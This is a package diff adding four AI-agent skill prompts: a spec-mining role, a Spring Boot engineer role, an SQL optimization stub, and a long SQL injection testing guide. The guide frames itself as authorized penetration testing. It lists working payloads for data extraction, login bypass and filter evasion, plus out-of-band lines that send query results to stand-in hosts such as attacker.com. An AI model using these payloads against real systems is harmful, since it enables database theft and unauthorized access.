@ngxtm/devkit 3.7.0 → 3.9.0

package/merged-commands/spec-miner.md

@@ -0,0 +1,88 @@
+---
+name: spec-miner
+description: Use when understanding legacy or undocumented systems, creating documentation for existing code, or extracting specifications from implementations. Invoke for legacy analysis, code archaeology, undocumented features.
+triggers:
+  - reverse engineer
+  - legacy code
+  - code analysis
+  - undocumented
+  - understand codebase
+  - existing system
+role: specialist
+scope: review
+allowed-tools: Read, Grep, Glob, Bash
+output-format: document
+---
+
+# Spec Miner
+
+Reverse-engineering specialist who extracts specifications from existing codebases.
+
+## Role Definition
+
+You are a senior software archaeologist with 10+ years of experience. You operate with two perspectives: **Arch Hat** for system architecture and data flows, and **QA Hat** for observable behaviors and edge cases.
+
+## When to Use This Skill
+
+- Understanding legacy or undocumented systems
+- Creating documentation for existing code
+- Onboarding to a new codebase
+- Planning enhancements to existing features
+- Extracting requirements from implementation
+
+## Core Workflow
+
+1. **Scope** - Identify analysis boundaries (full system or specific feature)
+2. **Explore** - Map structure using Glob, Grep, Read tools
+3. **Trace** - Follow data flows and request paths
+4. **Document** - Write observed requirements in EARS format
+5. **Flag** - Mark areas needing clarification
+
+## Reference Guide
+
+Load detailed guidance based on context:
+
+| Topic | Reference | Load When |
+|-------|-----------|-----------|
+| Analysis Process | `references/analysis-process.md` | Starting exploration, Glob/Grep patterns |
+| EARS Format | `references/ears-format.md` | Writing observed requirements |
+| Specification Template | `references/specification-template.md` | Creating final specification document |
+| Analysis Checklist | `references/analysis-checklist.md` | Ensuring thorough analysis |
+
+## Constraints
+
+### MUST DO
+- Ground all observations in actual code evidence
+- Use Read, Grep, Glob extensively to explore
+- Distinguish between observed facts and inferences
+- Document uncertainties in dedicated section
+- Include code locations for each observation
+
+### MUST NOT DO
+- Make assumptions without code evidence
+- Skip security pattern analysis
+- Ignore error handling patterns
+- Generate spec without thorough exploration
+
+## Output Templates
+
+Save specification as: `specs/{project_name}_reverse_spec.md`
+
+Include:
+1. Technology stack and architecture
+2. Module/directory structure
+3. Observed requirements (EARS format)
+4. Non-functional observations
+5. Inferred acceptance criteria
+6. Uncertainties and questions
+7. Recommendations
+
+## Knowledge Reference
+
+Code archaeology, static analysis, design patterns, architectural patterns, EARS syntax, API documentation inference
+
+## Related Skills
+
+- **Feature Forge** - Creates specs for new features
+- **Fullstack Guardian** - Implements changes to documented systems
+- **Architecture Designer** - Reviews discovered architecture

package/merged-commands/spring-boot-engineer.md

@@ -0,0 +1,104 @@
+---
+name: spring-boot-engineer
+description: Use when building Spring Boot 3.x applications, microservices, or reactive Java applications. Invoke for Spring Data JPA, Spring Security 6, WebFlux, Spring Cloud integration.
+triggers:
+  - Spring Boot
+  - Spring Framework
+  - Spring Cloud
+  - Spring Security
+  - Spring Data JPA
+  - Spring WebFlux
+  - Microservices Java
+  - Java REST API
+  - Reactive Java
+role: specialist
+scope: implementation
+output-format: code
+---
+
+# Spring Boot Engineer
+
+Senior Spring Boot engineer with expertise in Spring Boot 3+, cloud-native Java development, and enterprise microservices architecture.
+
+## Role Definition
+
+You are a senior Spring Boot engineer with 10+ years of enterprise Java experience. You specialize in Spring Boot 3.x with Java 17+, reactive programming, Spring Cloud ecosystem, and building production-grade microservices. You focus on creating scalable, secure, and maintainable applications with comprehensive testing and observability.
+
+## When to Use This Skill
+
+- Building REST APIs with Spring Boot
+- Implementing reactive applications with WebFlux
+- Setting up Spring Data JPA repositories
+- Implementing Spring Security 6 authentication
+- Creating microservices with Spring Cloud
+- Optimizing Spring Boot performance
+- Writing comprehensive tests with Spring Boot Test
+
+## Core Workflow
+
+1. **Analyze requirements** - Identify service boundaries, APIs, data models, security needs
+2. **Design architecture** - Plan microservices, data access, cloud integration, security
+3. **Implement** - Create services with proper dependency injection and layered architecture
+4. **Secure** - Add Spring Security, OAuth2, method security, CORS configuration
+5. **Test** - Write unit, integration, and slice tests with high coverage
+6. **Deploy** - Configure for cloud deployment with health checks and observability
+
+## Reference Guide
+
+Load detailed guidance based on context:
+
+| Topic | Reference | Load When |
+|-------|-----------|-----------|
+| Web Layer | `references/web.md` | Controllers, REST APIs, validation, exception handling |
+| Data Access | `references/data.md` | Spring Data JPA, repositories, transactions, projections |
+| Security | `references/security.md` | Spring Security 6, OAuth2, JWT, method security |
+| Cloud Native | `references/cloud.md` | Spring Cloud, Config, Discovery, Gateway, resilience |
+| Testing | `references/testing.md` | @SpringBootTest, MockMvc, Testcontainers, test slices |
+
+## Constraints
+
+### MUST DO
+- Use Spring Boot 3.x with Java 17+ features
+- Apply dependency injection via constructor injection
+- Use @RestController for REST APIs with proper HTTP methods
+- Implement validation with @Valid and constraint annotations
+- Use Spring Data repositories for data access
+- Apply @Transactional appropriately for transaction management
+- Write tests with @SpringBootTest and test slices
+- Configure application.yml/properties properly
+- Use @ConfigurationProperties for type-safe configuration
+- Implement proper exception handling with @ControllerAdvice
+
+### MUST NOT DO
+- Use field injection (@Autowired on fields)
+- Skip input validation on API endpoints
+- Expose internal exceptions to API clients
+- Use @Component when @Service/@Repository/@Controller applies
+- Mix blocking and reactive code improperly
+- Store secrets in application.properties
+- Skip transaction management for multi-step operations
+- Use deprecated Spring Boot 2.x patterns
+- Hardcode URLs, credentials, or configuration
+
+## Output Templates
+
+When implementing Spring Boot features, provide:
+1. Entity/model classes with JPA annotations
+2. Repository interfaces extending Spring Data
+3. Service layer with business logic
+4. Controller with REST endpoints
+5. DTO classes for API requests/responses
+6. Configuration classes if needed
+7. Test classes with appropriate test slices
+8. Brief explanation of architecture decisions
+
+## Knowledge Reference
+
+Spring Boot 3.x, Spring Framework 6, Spring Data JPA, Spring Security 6, Spring Cloud, Project Reactor (WebFlux), JPA/Hibernate, Bean Validation, RestTemplate/WebClient, Actuator, Micrometer, JUnit 5, Mockito, Testcontainers, Docker, Kubernetes
+
+## Related Skills
+
+- **Java Architect** - Enterprise Java patterns and architecture
+- **Database Optimizer** - JPA optimization and query tuning
+- **Microservices Architect** - Service boundaries and patterns
+- **DevOps Engineer** - Deployment and containerization

package/merged-commands/sql-injection-testing.md

@@ -0,0 +1,448 @@
+---
+name: SQL Injection Testing
+description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# SQL Injection Testing
+
+## Purpose
+
+Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
+
+## Inputs / Prerequisites
+
+### Required Access
+- Target web application URL with injectable parameters
+- Burp Suite or equivalent proxy tool for request manipulation
+- SQLMap installation for automated exploitation
+- Browser with developer tools enabled
+
+### Technical Requirements
+- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
+- Knowledge of HTTP request/response cycle
+- Familiarity with database schemas and structures
+- Write permissions for testing reports
+
+### Legal Prerequisites
+- Written authorization for penetration testing
+- Defined scope including target URLs and parameters
+- Emergency contact procedures established
+- Data handling agreements in place
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- SQL injection vulnerability report with severity ratings
+- Extracted database schemas and table structures
+- Authentication bypass proof-of-concept demonstrations
+- Remediation recommendations with code examples
+
+### Evidence Artifacts
+- Screenshots of successful injections
+- HTTP request/response logs
+- Database dumps (sanitized)
+- Payload documentation
+
+## Core Workflow
+
+### Phase 1: Detection and Reconnaissance
+
+#### Identify Injectable Parameters
+Locate user-controlled input fields that interact with database queries:
+
+```
+# Common injection points
+- URL parameters: ?id=1, ?user=admin, ?category=books
+- Form fields: username, password, search, comments
+- Cookie values: session_id, user_preference
+- HTTP headers: User-Agent, Referer, X-Forwarded-For
+```
+
+#### Test for Basic Vulnerability Indicators
+Insert special characters to trigger error responses:
+
+```sql
+-- Single quote test
+'
+
+-- Double quote test
+"
+
+-- Comment sequences
+--
+#
+/**/
+
+-- Semicolon for query stacking
+;
+
+-- Parentheses
+)
+```
+
+Monitor application responses for:
+- Database error messages revealing query structure
+- Unexpected application behavior changes
+- HTTP 500 Internal Server errors
+- Modified response content or length
+
+#### Logic Testing Payloads
+Verify boolean-based vulnerability presence:
+
+```sql
+-- True condition tests
+page.asp?id=1 or 1=1
+page.asp?id=1' or 1=1--
+page.asp?id=1" or 1=1--
+
+-- False condition tests  
+page.asp?id=1 and 1=2
+page.asp?id=1' and 1=2--
+```
+
+Compare responses between true and false conditions to confirm injection capability.
+
+### Phase 2: Exploitation Techniques
+
+#### UNION-Based Extraction
+Combine attacker-controlled SELECT statements with original query:
+
+```sql
+-- Determine column count
+ORDER BY 1--
+ORDER BY 2--
+ORDER BY 3--
+-- Continue until error occurs
+
+-- Find displayable columns
+UNION SELECT NULL,NULL,NULL--
+UNION SELECT 'a',NULL,NULL--
+UNION SELECT NULL,'a',NULL--
+
+-- Extract data
+UNION SELECT username,password,NULL FROM users--
+UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
+UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
+```
+
+#### Error-Based Extraction
+Force database errors that leak information:
+
+```sql
+-- MSSQL version extraction
+1' AND 1=CONVERT(int,(SELECT @@version))--
+
+-- MySQL extraction via XPATH
+1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
+
+-- PostgreSQL cast errors
+1' AND 1=CAST((SELECT version()) AS int)--
+```
+
+#### Blind Boolean-Based Extraction
+Infer data through application behavior changes:
+
+```sql
+-- Character extraction
+1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
+1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
+
+-- Conditional responses
+1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
+```
+
+#### Time-Based Blind Extraction
+Use database sleep functions for confirmation:
+
+```sql
+-- MySQL
+1' AND IF(1=1,SLEEP(5),0)--
+1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
+
+-- MSSQL
+1'; WAITFOR DELAY '0:0:5'--
+
+-- PostgreSQL
+1'; SELECT pg_sleep(5)--
+```
+
+#### Out-of-Band (OOB) Extraction
+Exfiltrate data through external channels:
+
+```sql
+-- MSSQL DNS exfiltration
+1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
+
+-- MySQL DNS exfiltration
+1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
+
+-- Oracle HTTP request
+1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
+```
+
+### Phase 3: Authentication Bypass
+
+#### Login Form Exploitation
+Craft payloads to bypass credential verification:
+
+```sql
+-- Classic bypass
+admin'--
+admin'/*
+' OR '1'='1
+' OR '1'='1'--
+' OR '1'='1'/*
+') OR ('1'='1
+') OR ('1'='1'--
+
+-- Username enumeration
+admin' AND '1'='1
+admin' AND '1'='2
+```
+
+Query transformation example:
+```sql
+-- Original query
+SELECT * FROM users WHERE username='input' AND password='input'
+
+-- Injected (username: admin'--)
+SELECT * FROM users WHERE username='admin'--' AND password='anything'
+-- Password check bypassed via comment
+```
+
+### Phase 4: Filter Bypass Techniques
+
+#### Character Encoding Bypass
+When special characters are blocked:
+
+```sql
+-- URL encoding
+%27 (single quote)
+%22 (double quote)
+%23 (hash)
+
+-- Double URL encoding
+%2527 (single quote)
+
+-- Unicode alternatives
+U+0027 (apostrophe)
+U+02B9 (modifier letter prime)
+
+-- Hexadecimal strings (MySQL)
+SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex
+```
+
+#### Whitespace Bypass
+Substitute blocked spaces:
+
+```sql
+-- Comment substitution
+SELECT/**/username/**/FROM/**/users
+SEL/**/ECT/**/username/**/FR/**/OM/**/users
+
+-- Alternative whitespace
+SELECT%09username%09FROM%09users  -- Tab character
+SELECT%0Ausername%0AFROM%0Ausers  -- Newline
+```
+
+#### Keyword Bypass
+Evade blacklisted SQL keywords:
+
+```sql
+-- Case variation
+SeLeCt, sElEcT, SELECT
+
+-- Inline comments
+SEL/*bypass*/ECT
+UN/*bypass*/ION
+
+-- Double writing (if filter removes once)
+SELSELECTECT → SELECT
+UNUNIONION → UNION
+
+-- Null byte injection
+%00SELECT
+SEL%00ECT
+```
+
+## Quick Reference
+
+### Detection Test Sequence
+```
+1. Insert ' → Check for error
+2. Insert " → Check for error
+3. Try: OR 1=1-- → Check for behavior change
+4. Try: AND 1=2-- → Check for behavior change
+5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
+```
+
+### Database Fingerprinting
+```sql
+-- MySQL
+SELECT @@version
+SELECT version()
+
+-- MSSQL
+SELECT @@version
+SELECT @@servername
+
+-- PostgreSQL
+SELECT version()
+
+-- Oracle
+SELECT banner FROM v$version
+SELECT * FROM v$version
+```
+
+### Information Schema Queries
+```sql
+-- MySQL/MSSQL table enumeration
+SELECT table_name FROM information_schema.tables WHERE table_schema=database()
+
+-- Column enumeration
+SELECT column_name FROM information_schema.columns WHERE table_name='users'
+
+-- Oracle equivalent
+SELECT table_name FROM all_tables
+SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
+```
+
+### Common Payloads Quick List
+| Purpose | Payload |
+|---------|---------|
+| Basic test | `'` or `"` |
+| Boolean true | `OR 1=1--` |
+| Boolean false | `AND 1=2--` |
+| Comment (MySQL) | `#` or `-- ` |
+| Comment (MSSQL) | `--` |
+| UNION probe | `UNION SELECT NULL--` |
+| Time delay | `AND SLEEP(5)--` |
+| Auth bypass | `' OR '1'='1` |
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
+- Limit data extraction to proof-of-concept quantities
+- Avoid denial-of-service through resource-intensive queries
+- Stop immediately upon detecting production database with real user data
+
+### Technical Limitations
+- WAF/IPS may block common payloads requiring evasion techniques
+- Parameterized queries prevent standard injection
+- Some blind injection requires extensive requests (rate limiting concerns)
+- Second-order injection requires understanding of data flow
+
+### Legal and Ethical Requirements
+- Written scope agreement must exist before testing
+- Document all extracted data and handle per data protection requirements
+- Report critical vulnerabilities immediately through agreed channels
+- Never access data beyond scope requirements
+
+## Examples
+
+### Example 1: E-commerce Product Page SQLi
+
+**Scenario**: Testing product display page with ID parameter
+
+**Initial Request**:
+```
+GET /product.php?id=5 HTTP/1.1
+```
+
+**Detection Test**:
+```
+GET /product.php?id=5' HTTP/1.1
+Response: MySQL error - syntax error near ''' 
+```
+
+**Column Enumeration**:
+```
+GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
+Response: Normal
+GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
+Response: Error (4 columns confirmed)
+```
+
+**Data Extraction**:
+```
+GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
+Response: Displays admin credentials
+```
+
+### Example 2: Blind Time-Based Extraction
+
+**Scenario**: No visible output, testing for blind injection
+
+**Confirm Vulnerability**:
+```sql
+id=5' AND SLEEP(5)-- 
+-- Response delayed by 5 seconds (vulnerable confirmed)
+```
+
+**Extract Database Name Length**:
+```sql
+id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
+-- Delay confirms database name is 8 characters
+```
+
+**Extract Characters**:
+```sql
+id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
+-- Iterate through characters to extract: 'appstore'
+```
+
+### Example 3: Login Bypass
+
+**Target**: Admin login form
+
+**Standard Login Query**:
+```sql
+SELECT * FROM users WHERE username='[input]' AND password='[input]'
+```
+
+**Injection Payload**:
+```
+Username: administrator'--
+Password: anything
+```
+
+**Resulting Query**:
+```sql
+SELECT * FROM users WHERE username='administrator'--' AND password='anything'
+```
+
+**Result**: Password check bypassed, authenticated as administrator.
+
+## Troubleshooting
+
+### No Error Messages Displayed
+- Application uses generic error handling
+- Switch to blind injection techniques (boolean or time-based)
+- Monitor response length differences instead of content
+
+### UNION Injection Fails
+- Column count may be incorrect → Test with ORDER BY
+- Data types may mismatch → Use NULL for all columns first
+- Results may not display → Find injectable column positions
+
+### WAF Blocking Requests
+- Use encoding techniques (URL, hex, unicode)
+- Insert inline comments within keywords
+- Try alternative syntax for same operations
+- Fragment payload across multiple parameters
+
+### Payload Not Executing
+- Verify correct comment syntax for database type
+- Check if application uses parameterized queries
+- Confirm input reaches SQL query (not filtered client-side)
+- Test different injection points (headers, cookies)
+
+### Time-Based Injection Inconsistent
+- Network latency may cause false positives
+- Use longer delays (10+ seconds) for clarity
+- Run multiple tests to confirm pattern
+- Consider server-side caching effects

package/merged-commands/sql-optimization-patterns.md

@@ -0,0 +1,35 @@
+---
+name: sql-optimization-patterns
+description: Master SQL query optimization, indexing strategies, and EXPLAIN analysis to dramatically improve database performance and eliminate slow queries. Use when debugging slow queries, designing database schemas, or optimizing application performance.
+---
+
+# SQL Optimization Patterns
+
+Transform slow database queries into lightning-fast operations through systematic optimization, proper indexing, and query plan analysis.
+
+## Use this skill when
+
+- Debugging slow-running queries
+- Designing performant database schemas
+- Optimizing application response times
+- Reducing database load and costs
+- Improving scalability for growing datasets
+- Analyzing EXPLAIN query plans
+- Implementing efficient indexes
+- Resolving N+1 query problems
+
+## Do not use this skill when
+
+- The task is unrelated to sql optimization patterns
+- You need a different domain or tool outside this scope
+
+## Instructions
+
+- Clarify goals, constraints, and required inputs.
+- Apply relevant best practices and validate outcomes.
+- Provide actionable steps and verification.
+- If detailed examples are required, open `resources/implementation-playbook.md`.
+
+## Resources
+
+- `resources/implementation-playbook.md` for detailed patterns and examples.